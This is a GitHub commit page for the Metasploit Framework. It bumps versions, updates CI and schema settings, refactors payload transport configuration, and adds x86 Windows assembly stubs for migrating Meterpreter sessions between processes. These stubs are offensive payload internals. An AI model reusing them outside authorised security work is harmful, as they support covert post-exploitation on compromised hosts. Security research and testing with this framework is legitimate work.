Skip to content

Commit 81b310f

Browse files
wchen-r7wchen-r7
committed
Up to date
2 parents 5e5aa8c + 8b816fe commit 81b310f

26 files changed

+441
-64
lines changed

‎.travis.yml

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,10 @@
1+
dist: trusty
12
sudo: false
23
group: stable
34
bundler_args: --without coverage development pcap
45
cache: bundler
56
addons:
6-
postgresql: '9.3'
7+
postgresql: '9.6'
78
apt:
89
packages:
910
- libpcap-dev

‎Gemfile.lock

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.13.9)
4+
metasploit-framework (4.13.10)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -14,7 +14,7 @@ PATH
1414
metasploit-concern
1515
metasploit-credential
1616
metasploit-model
17-
metasploit-payloads (= 1.2.4)
17+
metasploit-payloads (= 1.2.5)
1818
metasploit_data_models
1919
metasploit_payloads-mettle (= 0.1.4)
2020
msgpack
@@ -169,7 +169,7 @@ GEM
169169
activemodel (~> 4.2.6)
170170
activesupport (~> 4.2.6)
171171
railties (~> 4.2.6)
172-
metasploit-payloads (1.2.4)
172+
metasploit-payloads (1.2.5)
173173
metasploit_data_models (2.0.10)
174174
activerecord (~> 4.2.6)
175175
activesupport (~> 4.2.6)

‎db/schema.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -248,12 +248,12 @@
248248
add_index "metasploit_credential_cores", ["private_id"], name: "index_metasploit_credential_cores_on_private_id", using: :btree
249249
add_index "metasploit_credential_cores", ["public_id"], name: "index_metasploit_credential_cores_on_public_id", using: :btree
250250
add_index "metasploit_credential_cores", ["realm_id"], name: "index_metasploit_credential_cores_on_realm_id", using: :btree
251-
add_index "metasploit_credential_cores", ["workspace_id", "private_id"], name: "unique_private_metasploit_credential_cores", unique: true, where: "(((realm_id IS NULL) AND (public_id IS NULL)) AND (private_id IS NOT NULL))", using: :btree
252-
add_index "metasploit_credential_cores", ["workspace_id", "public_id", "private_id"], name: "unique_realmless_metasploit_credential_cores", unique: true, where: "(((realm_id IS NULL) AND (public_id IS NOT NULL)) AND (private_id IS NOT NULL))", using: :btree
253-
add_index "metasploit_credential_cores", ["workspace_id", "public_id"], name: "unique_public_metasploit_credential_cores", unique: true, where: "(((realm_id IS NULL) AND (public_id IS NOT NULL)) AND (private_id IS NULL))", using: :btree
254-
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "private_id"], name: "unique_publicless_metasploit_credential_cores", unique: true, where: "(((realm_id IS NOT NULL) AND (public_id IS NULL)) AND (private_id IS NOT NULL))", using: :btree
255-
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id", "private_id"], name: "unique_complete_metasploit_credential_cores", unique: true, where: "(((realm_id IS NOT NULL) AND (public_id IS NOT NULL)) AND (private_id IS NOT NULL))", using: :btree
256-
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], name: "unique_privateless_metasploit_credential_cores", unique: true, where: "(((realm_id IS NOT NULL) AND (public_id IS NOT NULL)) AND (private_id IS NULL))", using: :btree
251+
add_index "metasploit_credential_cores", ["workspace_id", "private_id"], name: "unique_private_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NULL) AND (private_id IS NOT NULL))", using: :btree
252+
add_index "metasploit_credential_cores", ["workspace_id", "public_id", "private_id"], name: "unique_realmless_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NOT NULL) AND (private_id IS NOT NULL))", using: :btree
253+
add_index "metasploit_credential_cores", ["workspace_id", "public_id"], name: "unique_public_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NOT NULL) AND (private_id IS NULL))", using: :btree
254+
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "private_id"], name: "unique_publicless_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NULL) AND (private_id IS NOT NULL))", using: :btree
255+
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id", "private_id"], name: "unique_complete_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NOT NULL) AND (private_id IS NOT NULL))", using: :btree
256+
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], name: "unique_privateless_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NOT NULL) AND (private_id IS NULL))", using: :btree
257257
add_index "metasploit_credential_cores", ["workspace_id"], name: "index_metasploit_credential_cores_on_workspace_id", using: :btree
258258

259259
create_table "metasploit_credential_logins", force: :cascade do |t|

‎lib/metasploit/framework/version.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def self.get_hash
3030
end
3131
end
3232

33-
VERSION = "4.13.9"
33+
VERSION = "4.13.10"
3434
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
3535
PRERELEASE = 'dev'
3636
HASH = get_hash

‎lib/msf/core/payload/transport_config.rb

Lines changed: 24 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -25,13 +25,10 @@ def transport_config_reverse_ipv6_tcp(opts={})
2525

2626
def transport_config_bind_tcp(opts={})
2727
{
28-
:scheme => 'tcp',
29-
:lhost => datastore['LHOST'],
30-
:lport => datastore['LPORT'].to_i,
31-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
32-
:retry_total => datastore['SessionRetryTotal'].to_i,
33-
:retry_wait => datastore['SessionRetryWait'].to_i
34-
}
28+
scheme: 'tcp',
29+
lhost: datastore['LHOST'],
30+
lport: datastore['LPORT'].to_i
31+
}.merge(timeout_config)
3532
end
3633

3734
def transport_config_reverse_https(opts={})
@@ -54,19 +51,26 @@ def transport_config_reverse_http(opts={})
5451
end
5552

5653
{
57-
:scheme => 'http',
58-
:lhost => opts[:lhost] || datastore['LHOST'],
59-
:lport => (opts[:lport] || datastore['LPORT']).to_i,
60-
:uri => uri,
61-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
62-
:retry_total => datastore['SessionRetryTotal'].to_i,
63-
:retry_wait => datastore['SessionRetryWait'].to_i,
64-
:ua => datastore['MeterpreterUserAgent'],
65-
:proxy_host => datastore['PayloadProxyHost'],
66-
:proxy_port => datastore['PayloadProxyPort'],
67-
:proxy_type => datastore['PayloadProxyType'],
68-
:proxy_user => datastore['PayloadProxyUser'],
69-
:proxy_pass => datastore['PayloadProxyPass']
54+
scheme: 'http',
55+
lhost: opts[:lhost] || datastore['LHOST'],
56+
lport: (opts[:lport] || datastore['LPORT']).to_i,
57+
uri: uri,
58+
ua: datastore['MeterpreterUserAgent'],
59+
proxy_host: datastore['PayloadProxyHost'],
60+
proxy_port: datastore['PayloadProxyPort'],
61+
proxy_type: datastore['PayloadProxyType'],
62+
proxy_user: datastore['PayloadProxyUser'],
63+
proxy_pass: datastore['PayloadProxyPass']
64+
}.merge(timeout_config)
65+
end
66+
67+
private
68+
69+
def timeout_config
70+
{
71+
comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
72+
retry_total: datastore['SessionRetryTotal'].to_i,
73+
retry_wait: datastore['SessionRetryWait'].to_i
7074
}
7175
end
7276

‎lib/msf/core/payload/windows/migrate.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/payload/windows/block_api'
4+
require 'msf/core/payload/windows/migrate_tcp'
5+
require 'msf/core/payload/windows/migrate_http'

‎lib/msf/core/payload/windows/migrate_common.rb

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/block_api'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Not really a payload, but more a mixin that lets common functionality
11+
# live in spot that makes sense, so that code duplication is reduced.
12+
#
13+
###
14+
15+
module Payload::Windows::MigrateCommon
16+
17+
include Msf::Payload::Windows
18+
include Msf::Payload::Windows::BlockApi
19+
20+
#
21+
# Constructs the migrate stub on the fly
22+
#
23+
def generate(opts={})
24+
asm = %Q^
25+
migrate:
26+
cld
27+
pop esi
28+
pop esi ; esi now contains the pointer to the migrate context
29+
sub esp, 0x2000
30+
call start
31+
#{asm_block_api}
32+
start:
33+
pop ebp
34+
#{generate_migrate(opts)}
35+
signal_event:
36+
push dword [esi] ; Event handle is pointed at by esi
37+
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
38+
call ebp ; SetEvent(handle)
39+
call_payload:
40+
call dword [esi+8] ; Invoke the associated payload
41+
^
42+
43+
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
44+
end
45+
46+
end
47+
48+
end
49+

‎lib/msf/core/payload/windows/migrate_http.rb

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/migrate_common'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Payload that supports migration over HTTP/S transports on x86.
11+
#
12+
###
13+
14+
module Payload::Windows::MigrateHttp
15+
16+
include Msf::Payload::Windows::MigrateCommon
17+
18+
def initialize(info={})
19+
super(update_info(info,
20+
'Name' => 'HTTP/S Transport Migration (x86)',
21+
'Description' => 'Migration stub to use over HTTP/S transports via x86',
22+
'Author' => ['OJ Reeves'],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'win',
25+
'Arch' => ARCH_X86
26+
))
27+
end
28+
29+
#
30+
# Constructs the migrate stub on the fly
31+
#
32+
def generate_migrate(opts={})
33+
# This payload only requires the common features, so return
34+
# an empty string indicating no code requires.
35+
''
36+
end
37+
38+
end
39+
40+
end

‎lib/msf/core/payload/windows/migrate_tcp.rb

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/migrate_common'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Payload that supports migration over the TCP transport on x86.
11+
#
12+
###
13+
14+
module Payload::Windows::MigrateTcp
15+
16+
include Msf::Payload::Windows::MigrateCommon
17+
18+
WSA_VERSION = 0x190
19+
20+
def initialize(info={})
21+
super(update_info(info,
22+
'Name' => 'TCP Transport Migration (x86)',
23+
'Description' => 'Migration stub to use over the TCP transport via x86',
24+
'Author' => ['OJ Reeves'],
25+
'License' => MSF_LICENSE,
26+
'Platform' => 'win',
27+
'Arch' => ARCH_X86
28+
))
29+
end
30+
31+
#
32+
# Constructs the migrate stub on the fly
33+
#
34+
def generate_migrate(opts={})
35+
%Q^
36+
load_ws2_32:
37+
push '32'
38+
push 'ws2_'
39+
push esp ; pointer to 'ws2_32'
40+
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
41+
call ebp ; LoadLibraryA('ws2_32')
42+
init_networking:
43+
mov eax, #{WSA_VERSION} ; EAX == version, and is also used for size
44+
sub esp, eax ; allocate space for the WSAData structure
45+
push esp ; Pointer to the WSAData structure
46+
push eax ; Version required
47+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
48+
call ebp ; WSAStartup(Version, &WSAData)
49+
create_socket:
50+
push eax ; eax is 0 on success, use it for flags
51+
push eax ; reserved
52+
lea ebx, [esi+0x10] ; get offset to the WSAPROTOCOL_INFO struct
53+
push ebx ; pass the info struct address
54+
push eax ; no protocol is specified
55+
inc eax
56+
push eax ; SOCK_STREAM
57+
inc eax
58+
push eax ; AF_INET
59+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
60+
call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)
61+
xchg edi, eax
62+
^
63+
end
64+
65+
end
66+
67+
end
68+

‎lib/msf/core/payload/windows/x64/migrate.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/payload/windows/x64/block_api'
4+
require 'msf/core/payload/windows/x64/migrate_tcp'
5+
require 'msf/core/payload/windows/x64/migrate_http'

0 commit comments

Comments
 (0)